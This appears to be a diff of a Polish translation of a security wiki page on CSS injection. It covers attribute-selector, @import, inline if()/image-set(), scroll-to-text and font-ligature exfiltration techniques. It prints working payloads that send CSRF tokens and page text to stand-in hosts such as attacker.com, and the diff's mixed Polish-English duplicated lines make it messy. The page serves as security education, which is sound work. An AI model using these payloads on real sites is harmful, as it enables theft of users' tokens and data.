-Aby obejść to ograniczenie, możesz zaadresować kolejny element-sąsiad, używając ogólnego kombinatora `~` (general sibling combinator). Reguła CSS zostanie wtedy zastosowana do wszystkich elementów następujących po ukrytym elemencie input, powodując załadowanie obrazu tła:
+Aby obejść to ograniczenie, możesz skierować regułę do kolejnego sąsiedniego elementu, używając ogólnego kombinatora rodzeństwa `~`. Reguła CSS zostanie wtedy zastosowana do wszystkich sąsiadów następujących po ukrytym elemencie input, powodując załadowanie obrazu tła:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
 }
 ```
-A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [tutaj](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
+Praktyczny przykład wykorzystania tej techniki jest opisany w dołączonym fragmencie kodu. Możesz go zobaczyć [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
 
 #### Wymagania wstępne dla CSS Injection
 
-For the CSS Injection technique to be effective, certain conditions must be met:
+Aby technika CSS Injection była skuteczna, muszą być spełnione następujące warunki:
 
-1. **Payload Length**: Wektor CSS injection musi obsługiwać wystarczająco długie payloady, aby pomieścić skonstruowane selektory.
-2. **CSS Re-evaluation**: Powinieneś mieć możliwość umieszczenia strony w ramce, co jest niezbędne do wywołania ponownej oceny CSS z nowo wygenerowanymi payloadami.
-3. **External Resources**: Technika zakłada możliwość używania obrazów hostowanych zewnętrznie. To może być ograniczone przez Content Security Policy (CSP).
+1. **Payload Length**: Wektor CSS Injection musi obsługiwać wystarczająco długie payloads, aby zmieścić przygotowane selektory.
+2. **CSS Re-evaluation**: Powinieneś mieć możliwość osadzenia strony (framing), co jest niezbędne do wywołania ponownej ewaluacji CSS z nowo wygenerowanymi payloads.
+3. **External Resources**: Technika zakłada możliwość użycia obrazów hostowanych zewnętrznie. Może to być ograniczone przez ustawienia Content Security Policy (CSP) witryny.
 
 ### Blind Attribute Selector
 
-As [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`** w celu zidentyfikowania zawartości nawet z elementów niewidocznych. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
+As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
 It's also possible to use those selectors to extract information from several block of the same type like in:
 ```html
 <style>
@@ -52,34 +52,34 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Łącząc to z następującą techniką **@import**, możliwe jest przeprowadzenie eksfiltracji dużej ilości **informacji za pomocą CSS injection ze stron blind przy użyciu** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
+Łącząc to z następującą techniką **@import**, możliwe jest exfiltrate dużą ilość informacji za pomocą CSS injection z blind pages przy użyciu [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration).
 
 ### @import
 
-Poprzednia technika ma pewne wady — sprawdź wymagania wstępne. Musisz albo móc **wysłać wiele linków do victim**, albo musisz móc **iframe the CSS injection vulnerable page**.
+Poprzednia technika ma pewne wady — sprawdź wymagania wstępne. Musisz albo mieć możliwość **wysłania wielu linków do ofiary**, albo musisz móc **osadzić w iframe stronę podatną na CSS injection**.
 
-Jest jednak inna sprytna technika, która wykorzystuje **CSS `@import`**, aby poprawić skuteczność metody.
+Jednak istnieje inna sprytna technika, która używa **CSS `@import`** aby poprawić skuteczność metody.
 
-Po raz pierwszy pokazał to [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i działa to w ten sposób:
+Po raz pierwszy pokazał to [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i działa to w następujący sposób:
 
-Zamiast ładować tę samą stronę w kółko z dziesiątkami różnych payloads za każdym razem (jak w poprzednim przypadku), zamierzamy **load the page just once and just with an import to the attackers server** (to jest payload do wysłania do victim):
+Zamiast ładować tę samą stronę wielokrotnie z dziesiątkami różnych payloadów za każdym razem (jak w poprzednim przykładzie), zamierzamy **załadować stronę tylko raz i tylko z importem wskazującym na serwer atakującego** (to jest payload do wysłania ofierze):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. The import będzie **otrzymywał some CSS script** od attackers i **browser go załaduje**.
-2. Pierwsza część CSS scriptu, którą attacker wyśle, to **kolejne `@import` do attackers server ponownie.**
-1. attackers server nie odpowie na to żądanie jeszcze, ponieważ chcemy leakować kilka znaków, a potem odpowiedzieć na to import z payloadem, aby leakować kolejne.
+1. Import będzie **otrzymywać some CSS script** od attackers i **browser go załaduje**.
+2. Pierwsza część skryptu CSS, którą attacker wyśle, to **another `@import` to the attackers server again.**
+1. Attacker's server nie odpowie jeszcze na to żądanie, ponieważ chcemy najpierw leak some chars, a potem odpowiedzieć na ten import payloadem, żeby leak the next ones.
 3. Druga i większa część payloadu będzie **attribute selector leakage payload**
-1. To wyśle do attackers server **pierwszy i ostatni znak secret**
-4. Gdy attackers server otrzyma **pierwszy i ostatni znak secret**, odpowie na import zażądany w kroku 2.
-1. Odpowiedź będzie dokładnie taka sama jak w **krokach 2, 3 i 4**, ale tym razem spróbuje znaleźć **drugi znak secret, a następnie przedostatni**.
+1. To wyśle do attackers server **first char of the secret and the last one**
+4. Gdy attackers server otrzyma **first and last char of the secret**, odpowie na **the import requested in the step 2**.
+1. Odpowiedź będzie dokładnie taka sama jak **steps 2, 3 and 4**, ale tym razem spróbuje **find the second char of the secret and then penultimate**.
 
-Attacker będzie powtarzał tę pętlę aż uda mu się leakować cały secret.
+Attacker będzie f**ollow that loop until it manages to leak completely the secret**.
 
-You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
+Możesz znaleźć oryginalny [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) lub niemal [**ten sam kod, ale skomentowany tutaj**.](#css-injection)
 
 > [!TIP]
-> The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
+> Skrypt będzie próbował odkryć po 2 chars za każdym razem (z początku i z końca), ponieważ attribute selector pozwala robić rzeczy takie jak:
 >
 > ```css
 > /* value^=  to match the beggining of the value*/
@@ -93,23 +93,23 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
 > }
 > ```
 >
-> This allows the script to leak the secret faster.
+> Dzięki temu skrypt może szybciej leak the secret.
 
 > [!WARNING]
-> Czasami the script **nie wykryje poprawnie, że odkryty prefix + suffix to już kompletny flag** i będzie kontynuował do przodu (w prefixie) i do tyłu (w suffixie) i w pewnym momencie zawiśnie.\
-> Bez obaw — sprawdź po prostu **output**, ponieważ **możesz tam zobaczyć flag**.
+> Czasami skrypt **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** i będzie kontynuował do przodu (w prefix) i do tyłu (w suffix) i w pewnym momencie się zawiesi.\
+> Nie martw się, po prostu sprawdź **output**, ponieważ **you can see the flag there**.
 
 ### Inline-Style CSS Exfiltration (attr() + if() + image-set())
 
-This primitive umożliwia exfiltration używając jedynie inline style attribute elementu, bez selectorów czy zewnętrznych stylesheetów. Opiera się na CSS custom properties, funkcji attr() do czytania atrybutów tego samego elementu, nowych warunkach CSS if() dla rozgałęzień oraz image-set() do wywołania żądania sieciowego, które zakoduje dopasowaną wartość.
+This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
 
 > [!WARNING]
-> Equality comparisons w if() wymagają double quotes dla string literals. Single quotes nie będą pasować.
+> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
 
-- Sink: kontroluj atrybut style elementu i upewnij się, że docelowy atrybut jest na tym samym elemencie (attr() czyta tylko same-element attributes).
+- Sink: kontroluj element's style attribute i upewnij się, że target attribute jest na tym samym elemencie (attr() reads only same-element attributes).
 - Read: skopiuj atrybut do zmiennej CSS: `--val: attr(title)`.
-- Decide: wybierz URL używając zagnieżdżonych conditionals porównujących zmienną z kandydatami stringów: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
-- Exfiltrate: zastosuj `background: image-set(var(--steal))` (lub dowolną właściwość wywołującą fetch) aby wymusić żądanie do wybranego endpointu.
+- Decide: wybierz URL używając zagnieżdżonych conditionals porównujących zmienną z string candidates: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Exfiltrate: zastosuj `background: image-set(var(--steal))` (lub dowolną fetching property) aby wymusić request do wybranego endpointu.
 
 Attempt (does not work; single quotes in comparison):
 ```html
@@ -119,7 +119,7 @@ Działający payload (w porównaniu wymagane podwójne cudzysłowy):
 ```html
 <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
 ```
-Enumerowanie wartości atrybutów z zagnieżdżonymi warunkami:
+Wyliczanie wartości atrybutów z użyciem zagnieżdżonych warunków:
 ```html
 <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
 ```
@@ -130,8 +130,8 @@ Realistyczne demo (sondowanie nazw użytkowników):
 Uwagi i ograniczenia:
 
 - Działa na przeglądarkach opartych na Chromium w czasie badań; zachowanie może się różnić na innych silnikach.
-- Najlepiej nadaje się do skończonych/wyliczalnych przestrzeni wartości (IDs, flags, short usernames). Kradzież dowolnie długich ciągów bez zewnętrznych arkuszy stylów pozostaje wyzwaniem.
-- Każda właściwość CSS, która pobiera URL, może zostać użyta do wywołania żądania (np. background/image-set, border-image, list-style, cursor, content).
+- Najlepiej nadaje się do skończonych/wyliczalnych przestrzeni wartości (IDs, flags, short usernames). Kradzież dowolnie długich ciągów bez zewnętrznych arkuszy stylów pozostaje trudna.
+- Każda właściwość CSS, która pobiera URL, może być użyta do wywołania żądania (np. background/image-set, border-image, list-style, cursor, content).
 
 Automatyzacja: Burp Custom Action może generować zagnieżdżone inline-style payloads do brute-force wartości atrybutów: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
 
@@ -139,8 +139,8 @@ Automatyzacja: Burp Custom Action może generować zagnieżdżone inline-style p
 
 Inne sposoby dostępu do części DOM za pomocą **CSS selectors**:
 
-- **`.class-to-search:nth-child(2)`**: To wyszuka drugi element z klasą "class-to-search" w DOM.
-- **`:empty`** selektor: Użyty na przykład w [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+- **`.class-to-search:nth-child(2)`**: Wyszuka drugi element z klasą "class-to-search" w DOM.
+- **`:empty`** selector: Używany na przykład w [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -150,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
 
 ### Error based XS-Search
 
-**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
+**Referencje:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-Ogólnym celem jest **użycie niestandardowej czcionki z kontrolowanego endpointu** i upewnienie się, że **tekst (w tym przypadku 'A') jest wyświetlany tą czcionką tylko jeśli określony zasób (`favicon.ico`) nie może zostać załadowany**.
+Ogólnym celem jest **użycie niestandardowej czcionki z kontrolowanego endpointu** i zapewnienie, że **tekst (w tym przypadku, 'A') jest wyświetlany tą czcionką tylko wtedy, gdy wskazany zasób (`favicon.ico`) nie może zostać załadowany**.
 ```html
 <!DOCTYPE html>
 <html>
@@ -176,39 +176,39 @@ font-family: "poc";
 ```
 1. **Użycie niestandardowej czcionki**:
 
-- Niestandardowa czcionka jest zdefiniowana za pomocą reguły `@font-face` wewnątrz znacznika `<style>` w sekcji `<head>`.
-- Czcionka nosi nazwę `poc` i jest pobierana z zewnętrznego endpointu (`http://attacker.com/?leak`).
+- Niestandardowa czcionka jest zdefiniowana za pomocą reguły `@font-face` wewnątrz tagu `<style>` w sekcji `<head>`.
+- Czcionka ma nazwę `poc` i jest pobierana z zewnętrznego endpointu (`http://attacker.com/?leak`).
 - Właściwość `unicode-range` jest ustawiona na `U+0041`, celując w konkretny znak Unicode 'A'.
 
-2. **Element Object z tekstem zapasowym**:
+2. **Element `<object>` z tekstem zapasowym**:
 - W sekcji `<body>` utworzono element `<object>` z `id="poc0"`. Element ten próbuje załadować zasób z `http://192.168.0.1/favicon.ico`.
 - Dla tego elementu `font-family` jest ustawione na `'poc'`, zgodnie z definicją w sekcji `<style>`.
-- Jeśli zasób (`favicon.ico`) nie załaduje się, zostanie wyświetlona zawartość zapasowa (litera 'A') wewnątrz znacznika `<object>`.
-- Zawartość zapasowa ('A') zostanie wyrenderowana przy użyciu niestandardowej czcionki `poc`, jeśli zewnętrzny zasób nie będzie dostępny.
+- Jeśli zasób (`favicon.ico`) nie załaduje się, zostanie wyświetlona zawartość zapasowa (litera 'A') wewnątrz tagu `<object>`.
+- Zawartość zapasowa ('A') zostanie wyrenderowana przy użyciu niestandardowej czcionki `poc`, jeśli zasób zewnętrzny nie będzie dostępny.
 
-### Stylowanie fragmentu Scroll-to-text
+### Stylowanie Scroll-to-text Fragment
 
-Pseudoklasa **`:target`** jest używana do wyboru elementu wskazanego przez **fragment URL**, zgodnie ze specyfikacją [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Należy pamiętać, że `::target-text` nie dopasowuje żadnych elementów, chyba że tekst jest wyraźnie wskazany przez fragment.
+Pseudoklasa **`:target`** służy do wyboru elementu wskazanego przez **URL fragment**, zgodnie ze specyfikacją [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ważne jest, żeby zrozumieć, że `::target-text` nie dopasowuje żadnych elementów, chyba że tekst jest wyraźnie wskazany przez fragment.
 
-Pojawia się problem bezpieczeństwa, gdy attackers wykorzystują funkcję **Scroll-to-text**, co pozwala im potwierdzić obecność konkretnego tekstu na stronie poprzez załadowanie zasobu z ich serwera za pomocą HTML injection. Metoda polega na wstrzyknięciu reguły CSS takiej jak ta:
+Pojawia się problem bezpieczeństwa, gdy atakujący wykorzystują funkcję **Scroll-to-text**, co pozwala im potwierdzić obecność konkretnego tekstu na stronie poprzez załadowanie zasobu z ich serwera za pomocą HTML injection. Metoda polega na wstrzyknięciu reguły CSS takiej jak ta:
 ```css
 :target::before {
 content: url(target.png);
 }
 ```
-W takich scenariuszach, jeśli na stronie obecny jest tekst "Administrator", zasób `target.png` zostaje zażądany z serwera, co wskazuje na obecność tego tekstu. Wykonanie takiego ataku może nastąpić za pomocą specjalnie spreparowanego URL-a, który osadza wstrzyknięty CSS wraz z fragmentem Scroll-to-text:
+W takich scenariuszach, jeśli na stronie obecny jest tekst "Administrator", zasób `target.png` jest żądany z serwera, co wskazuje na obecność tego tekstu. Przykład takiego ataku można wykonać za pomocą specjalnie spreparowanego URL-a, który osadza wstrzyknięty CSS wraz z fragmentem Scroll-to-text:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-W tym przypadku atak manipuluje HTML injection, aby przesłać kod CSS, celując w konkretny tekst "Administrator" za pomocą Scroll-to-text fragment (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób zostaje załadowany, niezamierzenie sygnalizując jego obecność atakującemu.
+Tutaj atak manipuluje HTML injection, aby przesłać kod CSS, celując w konkretny tekst "Administrator" za pomocą Scroll-to-text fragment (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób zostaje załadowany, nieumyślnie sygnalizując jego obecność atakującemu.
 
 Aby złagodzić ryzyko, należy zwrócić uwagę na następujące punkty:
 
-1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) został zaprojektowany do dopasowywania jedynie słów lub zdań, co ogranicza jego zdolność do leakowania dowolnych sekretów lub tokenów.
-2. **Restriction to Top-level Browsing Contexts**: STTF działa wyłącznie w top-level browsing contexts i nie funkcjonuje w iframes, co sprawia, że każda próba eksploatacji jest bardziej zauważalna dla użytkownika.
-3. **Necessity of User Activation**: STTF wymaga user-activation gesture, aby działać, co oznacza, że eksploatacje są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. Wymóg ten znacząco zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor posta na blogu wskazuje na konkretne warunki i obejścia (np. social engineering, interakcja z popularnymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
+1. **Ograniczone dopasowywanie STTF**: Scroll-to-text Fragment (STTF) jest zaprojektowany do dopasowywania tylko słów lub zdań, co ogranicza jego zdolność do leakowania dowolnych sekretów lub tokenów.
+2. **Ograniczenie do kontekstów przeglądania najwyższego poziomu**: STTF działa wyłącznie w top-level browsing contexts i nie funkcjonuje w iframes, co sprawia, że każda próba wykorzystania jest bardziej zauważalna dla użytkownika.
+3. **Wymóg aktywacji przez użytkownika**: STTF wymaga user-activation gesture, aby zadziałać, co oznacza, że eksploity są możliwe tylko przez nawigacje zainicjowane przez użytkownika. Ten wymóg znacznie zmniejsza ryzyko, że ataki zostaną zautomatyzowane bez interakcji użytkownika. Niemniej autor wpisu na blogu wskazuje na konkretne warunki i obejścia (np. social engineering, interakcja z powszechnie stosowanymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
 
-Świadomość tych mechanizmów i potencjalnych podatności jest kluczowa dla utrzymania bezpieczeństwa sieci i ochrony przed takimi taktykami eksploatacji.
+Świadomość tych mechanizmów i potencjalnych podatności jest kluczowa dla utrzymania bezpieczeństwa w sieci i ochrony przed takimi taktykami.
 
 Aby uzyskać więcej informacji, sprawdź oryginalny raport: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
@@ -216,7 +216,7 @@ Możesz sprawdzić [**exploit using this technique for a CTF here**](https://gis
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-Możesz określić **zewnętrzne fonty dla konkretnych wartości unicode**, które zostaną pobrane tylko wtedy, gdy te wartości unicode są obecne na stronie. Na przykład:
+Możesz określić **zewnętrzne fonty dla konkretnych wartości unicode**, które będą zbierane tylko wtedy, gdy te wartości unicode są obecne na stronie. Na przykład:
 ```html
 <style>
 @font-face {
@@ -242,24 +242,24 @@ font-family: poc;
 <p id="sensitive-information">AB</p>
 htm
 ```
-Gdy uzyskasz dostęp do tej strony, Chrome i Firefox pobierają "?A" i "?B", ponieważ węzeł tekstowy sensitive-information zawiera znaki "A" i "B". Ale Chrome i Firefox nie pobierają "?C", ponieważ nie zawiera "C". To oznacza, że udało nam się odczytać "A" i "B".
+When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
 
 ### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-**Źródło:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
+**Referencja:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-Opisana technika polega na wydobywaniu tekstu z węzła przez wykorzystanie ligatur czcionek i monitorowanie zmian szerokości. Proces obejmuje kilka kroków:
+Opisana technika polega na wydobywaniu tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian szerokości. Proces składa się z kilku kroków:
 
-1. **Creation of Custom Fonts**:
+1. **Tworzenie niestandardowych czcionek**:
 
-- Tworzone są SVG fonts z glyphami mającymi atrybut `horiz-adv-x`, który ustawia dużą szerokość dla glypha reprezentującego sekwencję dwóch znaków.
-- Przykładowy SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gdzie "XY" oznacza sekwencję dwóch znaków.
-- Te czcionki są następnie konwertowane do formatu woff za pomocą fontforge.
+- Tworzy się czcionki SVG z glifami posiadającymi atrybut `horiz-adv-x`, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwóch znaków.
+- Przykładowy glif SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gdzie "XY" oznacza sekwencję dwóch znaków.
+- Następnie te czcionki są konwertowane do formatu woff przy użyciu fontforge.
 
-2. **Detection of Width Changes**:
+2. **Wykrywanie zmian szerokości**:
 
-- CSS jest używany, aby tekst nie zawijał się (`white-space: nowrap`) oraz aby dostosować styl paska przewijania.
-- Pojawienie się poziomego paska przewijania, wystylizowanego w odmienny sposób, działa jako wskaźnik (oracle), że dana ligatura, a więc konkretna sekwencja znaków, jest obecna w tekście.
+- CSS jest używany, aby upewnić się, że tekst się nie zawija (`white-space: nowrap`) oraz aby dostosować styl scrollbar'a.
+- Pojawienie się poziomego paska przewijania, wystylizowanego w wyróżniający się sposób, działa jako wskaźnik (oracle), że konkretna ligatura, a więc określona sekwencja znaków, występuje w tekście.
 - Zaangażowany CSS:
 ```css
 body {
@@ -273,30 +273,30 @@ background: url(http://attacker.com/?leak);
 }
 ```
 
-3. **Exploit Process**:
+3. **Proces exploitu**:
 
-- **Step 1**: Tworzone są czcionki dla par znaków o znacznej szerokości.
-- **Step 2**: Wykorzystywany jest trik oparty na pasku przewijania, aby wykryć, kiedy renderowany jest glyph o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność tej sekwencji znaków.
-- **Step 3**: Po wykryciu ligatury generowane są nowe glyphy reprezentujące sekwencje trzyznakowe, łącząc wykrytą parę z poprzedzającym lub następującym znakiem.
-- **Step 4**: Przeprowadzane jest wykrycie trzyznakowej ligatury.
-- **Step 5**: Proces się powtarza, stopniowo odsłaniając cały tekst.
+- **Krok 1**: Tworzy się czcionki dla par znaków o znacznej szerokości.
+- **Krok 2**: Wykorzystuje się sztuczkę opartą na pasku przewijania, aby wykryć, kiedy renderowany jest glif o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność tej sekwencji znaków.
+- **Krok 3**: Po wykryciu ligatury generuje się nowe glify reprezentujące sekwencje trzyznakowe, zawierające wykrytą parę i dodający poprzedzający lub następujący znak.
+- **Krok 4**: Przeprowadza się wykrywanie trzyznakowej ligatury.
+- **Krok 5**: Proces się powtarza, stopniowo odsłaniając cały tekst.
 
-4. **Optimization**:
-- Obecna metoda inicjalizacji używająca `<meta refresh=...` nie jest optymalna.
-- Bardziej wydajne podejście mogłoby wykorzystać sztuczkę CSS `@import`, poprawiając wydajność exploita.
+4. **Optymalizacja**:
+- Obecna metoda inicjalizacji wykorzystująca `<meta refresh=...` nie jest optymalna.
+- Bardziej efektywne podejście mogłoby wykorzystać sztuczkę z CSS `@import`, poprawiając wydajność exploitu.
 
 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Źródło:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
+**Referencja:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
-Ten trik został opublikowany w tym [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Zestaw znaków użyty w węźle tekstowym może nastąpić leak przy użyciu domyślnych czcionek zainstalowanych w przeglądarce: nie są potrzebne żadne czcionki zewnętrzne ani niestandardowe.
+Ta sztuczka została opublikowana w tym [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Zestaw znaków użyty w węźle tekstowym może zostać leaked **przy użyciu domyślnych czcionek** zainstalowanych w przeglądarce: nie są potrzebne czcionki zewnętrzne ani niestandardowe.
 
-Koncepcja opiera się na wykorzystaniu animacji do stopniowego zwiększania szerokości `div`, pozwalając jednemu znakowi na raz przejść z części 'sufiks' tekstu do części 'prefiks'. Proces ten efektywnie dzieli tekst na dwie sekcje:
+Koncepcja opiera się na użyciu animacji do stopniowego zwiększania szerokości `div`, co pozwala pojedynczym znakom przejść z części 'suffix' tekstu do części 'prefix'. Proces ten efektywnie dzieli tekst na dwie sekcje:
 
-1. **Prefiks**: linia początkowa.
-2. **Sufiks**: kolejna linia(y).
+1. **Prefix**: Początkowa linia.
+2. **Suffix**: Kolejna(-e) linia(-y).
 
-Etapy przejścia znaków będą wyglądać następująco:
+Etapy przejścia znaków wyglądają następująco:
 
 **C**\
 ADB
@@ -309,15 +309,15 @@ B
 
 **CADB**
 
-Podczas tego przejścia wykorzystywany jest trik unicode-range do identyfikacji każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to przez zmianę czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, w konsekwencji wywołując pionowy pasek przewijania. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
+Podczas tego przejścia stosowany jest **unicode-range trick**, aby zidentyfikować każdy nowy znak, gdy dołącza do prefiksu. Osiąga się to przez przełączenie czcionki na Comic Sans, która jest zauważalnie wyższa niż czcionka domyślna, w konsekwencji wywołując pionowy pasek przewijania. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
 
-Chociaż ta metoda pozwala wykryć unikalne znaki w miarę ich pojawiania się, nie określa, który znak jest powtórzony — informuje jedynie, że wystąpiło powtórzenie.
+Choć ta metoda pozwala wykryć unikalne znaki, gdy się pojawiają, nie określa, który znak się powtarza — jedynie że wystąpiło powtórzenie.
 
 > [!TIP]
-> Zasadniczo, **unicode-range is used to detect a char**, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inne rozwiązanie.\
-> Kiedy **char** zostanie **znaleziony**, jest mu **przypisywana** preinstalowana czcionka **Comic Sans**, która **powiększa** char i **wywołuje pasek przewijania**, który spowoduje **leak znalezionego char**.
+> Zasadniczo **unicode-range jest używany do wykrycia znaku**, ale ponieważ nie chcemy ładować zewnętrznej czcionki, trzeba znaleźć inny sposób.\
+> Gdy **znak** jest **znaleziony**, jest mu przypisywana preinstalowana czcionka **Comic Sans**, która **powiększa** znak i **wywołuje pasek przewijania**, który będzie **leak** znalezionego znaku.
 
-Sprawdź kod wyciągnięty z PoC:
+Sprawdź kod wyodrębniony z PoC:
 ```css
 /* comic sans is high (lol) and causes a vertical overflow */
 @font-face {
@@ -742,17 +742,17 @@ div::-webkit-scrollbar:vertical {
 background: blue var(--leak);
 }
 ```
-### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset z domyślną czcionką poprzez ukrywanie elementów (nie wymagające zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Reference:** Jest to wspomniane jako [nieudane rozwiązanie w tym writeupie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Referencja:** Jest to wspomniane jako [nieudane rozwiązanie w tym writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.
+Ten przypadek jest bardzo podobny do poprzedniego, jednak tutaj celem sprawienia, by konkretne **chars były większe niż inne, jest ukrycie czegoś** — np. przycisku, aby bot go nie nacisnął, albo obrazka, który nie zostanie załadowany. Dzięki temu możemy zmierzyć akcję (lub jej brak) i ustalić, czy dany char występuje w tekście.
 
 ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Reference:** Jest to wspomniane jako [nieudane rozwiązanie w tym writeupie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
